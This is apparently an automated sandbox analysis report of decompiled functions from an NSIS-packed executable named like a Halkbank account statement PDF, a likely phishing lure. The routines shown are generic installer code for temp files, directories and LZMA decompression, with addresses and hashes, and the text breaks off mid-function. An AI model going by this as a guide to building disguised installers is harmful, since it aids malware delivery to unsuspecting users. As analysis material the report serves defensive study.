Function 00406187 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406187(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a5ac; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x0040618d
0x00406193
0x00406194
0x00406194
0x00406199
0x0040619a
0x0040619d
0x004061a2
0x004061a5
0x004061af
0x004061bc
0x004061c0
0x004061c8
0x00000000
0x00000000
0x004061cc
0x00000000
0x004061ce
0x004061ce
0x004061ce
0x004061d1
0x004061d4
0x004061d4
0x004061d7
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004061A5
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040363E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 004061C0

Strings

nsa, xrefs: 00406194
C:\Users\user\AppData\Local\Temp\, xrefs: 0040618C

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: 21b676f9b33da427d45e0b2d6905a63b6509bf3d89a4e990effff8b21c6fdcbe
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: C3F09076700214BFEB008F59DD05E9AB7BCEBA1710F11803AEE05EB180E6B0A9648768

Uniqueness

Uniqueness Score: -1.00%

Function 00403C25 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00403C25() {
				void* _t1;
				void* _t2;
				void* _t4;
				signed int _t11;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403C82();
				_t4 = E00405D74(_t11, L"C:\\Users\\jones\\AppData\\Local\\Temp\\nsvF67F.tmp\\", 7); // executed
				return _t4;
			}

0x00403c25
0x00403c34
0x00403c37
0x00403c39
0x00403c39
0x00403c40
0x00403c48
0x00403c4b
0x00403c4d
0x00403c4d
0x00403c4d
0x00403c54
0x00403c60
0x00403c66

APIs

CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C37
CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C4B

Strings

C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\, xrefs: 00403C5B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2A

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsvF67F.tmp\
API String ID: 2962429428-1759146776
Opcode ID: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction ID: ab9e488bef71b432d29da19662b82269d7b8f1628316f3e3d8f7e3aa77a32ace
Opcode Fuzzy Hash: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction Fuzzy Hash: 3BE0863244471496E5246F7DAF4D9853B285F413357248726F178F60F0C7389A9B4A9D

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405FE2(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405F64(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405C16( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405C33(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405B99( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00406668(L"C:\\Users\\jones\\AppData\\Local\\Temp",  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,7476FAA0,?,7476F560,00405D94,?,7476FAA0,7476F560,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405B99: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 1892508949-47812868
Opcode ID: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
Instruction ID: a0118e7b9b939ef3ea3e51add98df8039a5aa70d3b8e99a19be4f9c31e9f39fe
Opcode Fuzzy Hash: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
Instruction Fuzzy Hash: 04112231508105EBCF30AFA0CD4099E36A0EF15329B28493BF901B22F1DB3E4982DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040603F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E0040603F(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E00406668(0x425f50, _a4);
				_t21 = E00405FE2(0x425f50);
				if(_t21 != 0) {
					E004068EF(_t21);
					if(( *0x42a278 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x425f50 >> 1;
						while(1) {
							_t11 = lstrlenW(0x425f50);
							_push(0x425f50);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E0040699E();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405F83(0x425f50);
								continue;
							} else {
								goto L1;
							}
						}
						E00405F37();
						_t16 = GetFileAttributesW(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x0040604b
0x00406056
0x0040605a
0x00406061
0x0040606d
0x0040607d
0x0040607f
0x00406097
0x00406098
0x0040609f
0x004060a0
0x00000000
0x00000000
0x00406083
0x0040608a
0x00406092
0x00000000
0x00000000
0x00000000
0x00000000
0x0040608a
0x004060a2
0x004060a8
0x00000000
0x004060b6
0x0040606f
0x00406075
0x00000000
0x00000000
0x00000000
0x00000000
0x00406075
0x0040605c
0x00000000

APIs

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,7476FAA0,?,7476F560,00405D94,?,7476FAA0,7476F560,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,7476FAA0,?,7476F560,00405D94,?,7476FAA0,7476F560,00000000), ref: 00406098
GetFileAttributesW.KERNELBASE(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,7476FAA0,?,7476F560,00405D94,?,7476FAA0,7476F560), ref: 004060A8

Strings

P_B, xrefs: 00406045

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction ID: df110f430b83b9381375b5fd3fa67f6c4419d4890c6468873e0fced3c2676832
Opcode Fuzzy Hash: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction Fuzzy Hash: 0DF07826144A1216E622B23A0C05BAF05098F82354B07063FFC93B22E1DF3C8973C43E

Uniqueness

Uniqueness Score: -1.00%

Function 00407194 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00407194() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00407602))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
